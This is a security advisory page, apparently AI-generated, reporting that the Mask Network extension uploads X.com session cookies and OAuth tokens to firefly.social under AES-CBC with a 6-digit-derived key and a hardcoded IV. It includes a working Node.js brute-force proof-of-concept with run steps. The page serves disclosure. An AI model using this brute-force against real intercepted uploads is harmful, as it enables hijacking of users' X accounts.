Is Mask Network safe?
Mask Network encrypts Twitter/X session cookies with a weak 6-digit key and uploads them to firefly.social.
When a user logs in to Twitter/X through the extension, Mask Network collects session cookies (auth_token, ct0, twid) and OAuth credentials, encrypts them with AES-CBC using a key derived from a 6-digit random number (~20 bits of entropy), and uploads the ciphertext to firefly.social/api/firefly/desktop-sync/upload. The extension also ships hardcoded Twitter OAuth1 consumer credentials (key and secret) in its bundle, which are sent to firefly.social to authenticate API calls.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
X session cookies encrypted with a 6-digit brute-forceable key before upload
During Firefly's Twitter-sync, it collects X.com cookies (auth_token, ct0, twid, etc.) and OAuth1 tokens, encrypts with a 20-bit key/fixed IV, uploads to firefly.social.
A PoC brute-forced it in 4.55s; it leaks in cleartext + a QR code too.
You start the 'Connect your Firefly App' / sync-Twitter-cookies flow and grant the optional cookies permission, then click Upload.
The flow lives at the /wallet/sync-twitter-cookies route in the extension.
The extension encrypts your X.com session cookies and OAuth tokens with a six-digit key and uploads them to firefly.social.
The same six-digit key is included in cleartext in the upload and embedded in an on-screen QR code.
Six-digit key derivation, hardcoded IV, and the upload
// Key: a 6-digit decimal string, 000000..999999 (~20 bits of entropy)
function generateCryptoKey() {
const a = new Uint32Array(1);
crypto.getRandomValues(a);
return (a[0] % 1_000_000).toString().padStart(6, "0");
}
// Same IV for every user, every upload:
const IV = fromHex("0x4f05c37c16c801c2516b0338a8fd0cf9");
async function encrypt(plaintext, cryptoKey) {
const aesKey = await crypto.subtle.digest("SHA-256", utf8(cryptoKey)); // key = SHA-256(6-digit string)
return aesCbc(aesKey, IV, plaintext);
}
// Upload body carries the ciphertext AND the 6-digit key in cleartext:
// { session, cryptoKey, encryptedPayload }| Field | Value | Why it matters | |
|---|---|---|---|
X.com auth_token | auth_token=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0 | The primary X.com session cookie. Possession grants logged-in access to the account. | |
X.com ct0 | ct0=9f8e7d6c5b4a39281706f5e4d3c2b1a0 | The CSRF token cookie paired with auth_token for authenticated X.com requests. | |
X.com twid | twid="u=1234567890" | Encodes the numeric account user id. | |
kdt / _twitter_sess | kdt=Hk9...; _twitter_sess=BAh7... | Additional X.com session cookies bundled into the payload. | |
OAuth1 access token + credential | accessToken=1234567890-AbCdEf...; accessTokenSecret=VictimAccessTokenSecret9876543210 | The account's OAuth1 access token and access-token credential, allowing API access on the account's behalf. |
The payload is uploaded as AES-CBC ciphertext, but the AES key is SHA-256 of a 6-digit string and the IV is hardcoded, so the entire keyspace is searchable in seconds. The proof-of-concept below encrypted a sample cookie payload with a random 6-digit key and recovered it by exhausting all 1,000,000 keys.
{
"twitterAccounts": [
{
"type": "x",
"user_id": "1234567890",
"handle": "victim_user",
"accessToken": "1234567890-AbCdEf...",
"accessTokenSecret": "VictimAccessTokenSecret9876543210",
"cookie": "auth_token=a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0; ct0=9f8e7d6c5b4a39281706f5e4d3c2b1a0; twid=\"u=1234567890\"; kdt=Hk9..."
}
]
}Reproduces the extension's exact encryption scheme (SHA-256 of a 6-digit key, AES-256-CBC with the hardcoded IV), encrypts a sample cookie payload with a random 6-digit key, then brute-forces all 1,000,000 keys to recover the plaintext, demonstrating ~20 bits of effective entropy.
#!/usr/bin/env node
const crypto = require('crypto');
const APP_LOGIN_ENCRYPT_IV = '0x4f05c37c16c801c2516b0338a8fd0cf9';
const iv = Buffer.from(APP_LOGIN_ENCRYPT_IV.replace(/^0x/, ''), 'hex');
// generateCryptoKey() from the extension
function generateCryptoKey() {
const n = crypto.randomBytes(4).readUInt32LE(0);
return (n % 1000000).toString().padStart(6, '0');
}
// encrypt(): aesKey = SHA-256(cryptoKey), AES-256-CBC w/ hardcoded IV
function encrypt(plainText, cryptoKey) {
const aesKey = crypto.createHash('sha256').update(Buffer.from(cryptoKey, 'utf8')).digest();
const c = crypto.createCipheriv('aes-256-cbc', aesKey, iv);
return Buffer.concat([c.update(Buffer.from(plainText, 'utf8')), c.final()]);
}
function tryDecrypt(ct, cryptoKey) {
try {
const aesKey = crypto.createHash('sha256').update(Buffer.from(cryptoKey, 'utf8')).digest();
const d = crypto.createDecipheriv('aes-256-cbc', aesKey, iv);
return Buffer.concat([d.update(ct), d.final()]).toString('utf8');
} catch (e) { return null; }
}
const payload = JSON.stringify({ twitterAccounts: [{ type: 'x', user_id: '1234567890', handle: 'victim_user', accessTokenSecret: 'VictimAccessTokenSecret9876543210', cookie: 'auth_token=SAMPLE_AUTHTOKEN; ct0=SAMPLE_CT0; twid="u=1234567890"; kdt=SAMPLE_KDT' }] });
const realKey = generateCryptoKey();
const ct = encrypt(payload, realKey);
console.log('Victim key (unknown to attacker):', realKey, '| ciphertext', ct.length, 'bytes');
const t0 = Date.now();
for (let i = 0; i < 1000000; i++) {
const k = i.toString().padStart(6, '0');
const pt = tryDecrypt(ct, k);
if (pt && pt.includes('auth_token') && pt.includes('twitterAccounts')) {
console.log(`Recovered key ${k} in ${((Date.now()-t0)/1000).toFixed(2)}s`);
console.log('Recovered cookies:', JSON.parse(pt).twitterAccounts[0].cookie);
process.exit(0);
}
}
console.log('Key not recovered');
process.exit(1);- 1Save as firefly-sync-bruteforce.js.
- 2node firefly-sync-bruteforce.js.
- 3Observe the random 6-digit key recovered and the cookie payload decrypted in a few seconds.
Even without brute-forcing, the six-digit key travels in cleartext as the `cryptoKey` field of the same upload request, and it is rendered into a QR code shown to the user during the flow. Anyone able to read that request body or photograph the QR code obtains the key directly and can decrypt the payload immediately.